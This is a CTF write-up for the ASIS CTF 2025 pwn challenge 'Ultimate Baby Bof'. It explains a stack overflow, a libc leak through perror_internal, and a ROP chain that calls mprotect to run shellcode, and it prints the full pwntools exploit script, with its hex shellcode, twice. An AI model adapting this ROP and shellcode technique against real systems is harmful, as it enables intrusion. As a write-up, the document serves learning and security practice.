Logo ✧ Alter ✧
[WRITE UP] - ASIS CTF 2025: Ultimate Baby Bof

[WRITE UP] - ASIS CTF 2025: Ultimate Baby Bof

September 8, 2025
5 min read
Table of Contents
index

ASIS CTF 2025 is my first CTF play with my new team SPL, and we work hard together to solve the challenges. I hope this CTF have more time to solve the challenges, rather than 24h only. And here is a write up for Ultimate Baby Bof

Challenge Information

Author
ptr-yudai
Category
pwn
Points
300
Solves
4
Description
This is the ultimate babybof challenge.
Flag
ASIS{Y3t_4n0th3r_p0Ss1biL17y_0f_ROP_wow}

Analysis

The program code is pretty simple:

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 n0x30; // rbx
char buf[33]; // [rsp+7h] [rbp-21h] BYREF
for ( n0x30 = 0LL; n0x30 < 0x30; ++n0x30 )
{
if ( read(0, buf, 1uLL) <= 0 )
break;
if ( buf[0] == 10 )
break;
buf[n0x30 + 1] = buf[0];
}
return 0;
}

it reads up to 48 bytes from stdin, one byte at a time, and stores them in buf. The buffer buf is only 33 bytes long, so there is a potential for a buffer overflow vulnerability here. Moreover, there also have a seccomp filter that blocks execve, and execvat syscall. My first thought that came to my mind was that this was just a normal pivot challenge until I realized that it doesn’t have the leave; ret gadget. And the nightmare started, I spent 4 hours playing around with this binary and had no idea. Until @Corgo told me that stderr forwarded to stdout.

#!/bin/sh
exec ./chall 2>&1

So that I pretty sure that I need to do something with stderr, look around the binary, I found that we can partial overwrite the return address (because there is a main function so we can overwrite the return address, which is a libc address, to anywhere we want). And perro_interal is in the 2-byte-overwrite range, which prints whatever’s at RSI to stderr.

Terminal window
0x15555532aa6a <perror_internal+102>: xor eax,eax
0x15555532aa6c <perror_internal+104>: call 0x155555385610 <__fxprintf>

The __fxprintf function is a variadic function that takes a format string and a variable number of arguments, and prints the formatted string to the file stream specified by the first argument (in this case, stderr).

int
__fxprintf (FILE *fp, const char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
int res = __vfxprintf (fp, fmt, ap, 0);
va_end (ap);
return res;
}
int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (fp == NULL)
fp = stderr;
_IO_flockfile (fp);
int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
_IO_funlockfile (fp);
return res;
}

And we can control the RSI via our input. We can use this to leak libc address, then build a ROP chain to call mprotect to make the stack executable, and then read the shellcode from stdin and execute it.

Exploit

The exploit is pretty straightforward, because the stack frame is subtracted after calling one function, in this case by leverageing the perror_internal return behavior, we know that we need to spray some padding so that when it

Terminal window
0x15555532aa85 <perror_internal+129>: add rsp,0x418
0x15555532aa8c <perror_internal+136>: pop rbx
0x15555532aa8d <perror_internal+137>: pop r12
0x15555532aa8f <perror_internal+139>: pop r13
0x15555532aa91 <perror_internal+141>: pop rbp
0x15555532aa92 <perror_internal+142>: ret

it add the stack frame back to 0x418, then pop the registers and return.

sl(flat(
b'A' * 0x10,
exe.got.read, # rbx
exe.bss()+0xe00, # rbp
) + b'\x11\xaa')
# spray and pray
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start, next_ret=exe.sym.main)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+18)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
sl(flat(
b'||%2$p||', b'A' * 0x8,
exe.got.read, # rbx
exe.bss()+0xe00, # rbp
) + b'\x6a\xaa')
ru(b'||')
libc.address = int(ru(b'||', drop=True), 16) - (libc.sym['read']+17)
slog('libc base @ %#x', libc.address)

After leaking the libc address, everything is easy, but when I try to make our overflow size more bigger, I met a problem that the read function return -1, just because the rdx I set is too big. After some googling, I foundd that the read syscall has a size check that the count parameter (in rdx) must not larger than SSIZE_MAX. One more thing is that our read must in invalid address range [buf, buf+count). In the most x64 Linux system, they use x86-64 ABI. I found that when I change the kernel version to 6.6 which is default in WSL2, a kernel have a config CONFIG_X86_X32_ABI which enable the x32 ABI, so that our size is truncate to 32 bit, that mean we can read successfully. Just build a ROP chain to call mprotect to make the stack executable, then read the shellcode from stdin and execute it.

sl(flat(
0, 0,
0, # rbx
0, # rbp
libc.address+0x1ab46b,
libc.sym.read
)[:-1])
rop = ROP([libc])
rop.rax = exe.bss()+0x500
rop.raw(libc.address+0x1449ba)
rop.raw(7)
rop.mprotect(0x404000, 0x1000)
rop.raw(libc.address+0x1ab46b)
rop.read(0,exe.bss()+0x50)
rop.raw(libc.address+0x1ab41b)
rop.raw(exe.bss()+0x50)
shellcode = bytes.fromhex("488bece81a0000006a3c580f05565755488bec8bf86a02588bf28bd10f05c95f5ec3565755488bec488da42400f0ffff488d053b000000ba0000010033c9e8caffffff8bf8488db500f0ffffb8d9000000ba001000000f0548c7c00100000048c7c7010000004889e648c7c2e80300000f052e000000")
# print(disasm(shellcode))
# shellcode = asm(shellcraft.cat2("./flag-dae7cb7f09d632efcb5289af8d69a0ae.txt"))
# sl(cyclic(200))
s(b'A' * cyclic_find(b'aaan') + rop.chain())
pause()
sl(shellcode)
Full Exploit Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from time import sleep
exe = context.binary = ELF('./chall_patched', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
# b *_start+18
# b *0x401228
# b *perror_internal+13
# b *perror_internal+102
b *($base("libc")+0x1ab41b)
b *($base("libc")+0x1ab46b)
c
'''
def start(argv=[]):
if args.LOCAL:
p = exe.process()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p
def write(rbx, rbp, rip, trail=b'\n', next_ret=0x1337):
s(flat(
0x69420, 0x17386969, # useless (?)
rbx, # rbx
rbp, # rbp
rip, # rip
next_ret # useless for this
)[:-1]+trail)
# ==================== EXPLOIT ====================
p = start()
sl(flat(
b'A' * 0x10,
exe.got.read, # rbx
exe.bss()+0xe00, # rbp
) + b'\x11\xaa')
# spray and pray
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start, next_ret=exe.sym.main)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+18)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
write(rbx=0, rbp=exe.bss()+0x200, rip=exe.sym._start+24)
sl(flat(
b'||%2$p||', b'A' * 0x8,
exe.got.read, # rbx
exe.bss()+0xe00, # rbp
) + b'\x6a\xaa')
ru(b'||')
libc.address = int(ru(b'||', drop=True), 16) - (libc.sym['read']+17)
slog('libc base @ %#x', libc.address)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()
sl(flat(
0, 0,
0, # rbx
0, # rbp
libc.address+0x1ab46b,
libc.sym.read
)[:-1])
rop = ROP([libc])
rop.rax = exe.bss()+0x500
rop.raw(libc.address+0x1449ba)
rop.raw(7)
rop.mprotect(0x404000, 0x1000)
rop.raw(libc.address+0x1ab46b)
rop.read(0,exe.bss()+0x50)
rop.raw(libc.address+0x1ab41b)
rop.raw(exe.bss()+0x50)
shellcode = bytes.fromhex("488bece81a0000006a3c580f05565755488bec8bf86a02588bf28bd10f05c95f5ec3565755488bec488da42400f0ffff488d053b000000ba0000010033c9e8caffffff8bf8488db500f0ffffb8d9000000ba001000000f0548c7c00100000048c7c7010000004889e648c7c2e80300000f052e000000")
# print(disasm(shellcode))
# shellcode = asm(shellcraft.cat2("./flag-dae7cb7f09d632efcb5289af8d69a0ae.txt"))
# sl(cyclic(200))
s(b'A' * cyclic_find(b'aaan') + rop.chain())
pause()
sl(shellcode)
interactive(flag=False)
# ASIS{Y3t_4n0th3r_p0Ss1biL17y_0f_ROP_wow}